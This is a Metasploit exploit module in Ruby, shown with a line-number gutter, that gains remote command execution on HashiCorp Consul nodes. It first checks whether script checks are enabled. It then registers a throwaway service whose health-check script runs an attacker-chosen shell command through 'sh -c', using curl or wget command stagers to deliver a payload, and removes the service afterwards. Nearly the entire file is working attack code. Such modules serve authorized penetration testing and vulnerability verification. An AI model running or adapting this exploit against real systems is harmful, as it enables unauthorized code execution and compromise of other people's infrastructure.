1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Hashicorp Consul Remote Command Execution via Services API",
'Description' => %q{
This module exploits Hashicorp Consul's services API to gain remote command
execution on Consul nodes.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.consul.io/api/agent/service.html' ],
[ 'URL', 'https://github.com/torque59/Garfield' ]
],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => {},
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'curl', 'wget'],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 11 2018'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
Opt::RPORT(8500)
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200
vprint_error 'Unexpected reply'
return CheckCode::Safe
end
agent_info = JSON.parse(res.body)
if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableRemoteScriptChecks"] == true
return CheckCode::Vulnerable
end
CheckCode::Safe
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
return CheckCode::Unknown
end
def execute_command(cmd, opts = {})
uri = target_uri.path
service_name = Rex::Text.rand_text_alpha(5..10)
print_status("Creating service '#{service_name}'")
# NOTE: Timeout defines how much time the check script will run until
# getting killed. Arbitrarily set to one day for now.
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, 'v1/agent/service/register'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {
:ID => "#{service_name}",
:Name => "#{service_name}",
:Address => "127.0.0.1",
:Port => 80,
:check => {
:script => "#{cmd}",
:Args => ["sh", "-c", "#{cmd}"],
:interval => "10s",
:Timeout => "86400s"
}
}.to_json
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
end
print_status("Service '#{service_name}' successfully created.")
print_status("Waiting for service '#{service_name}' script to trigger")
sleep(12)
print_status("Removing service '#{service_name}'")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(
uri,
"v1/agent/service/deregister/#{service_name}"
),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
if res && res.code != 200
fail_with(Failure::UnexpectedReply,
'An error occured when contacting the Consul API.'
)
end
end
def exploit
execute_cmdstager()
end
end
|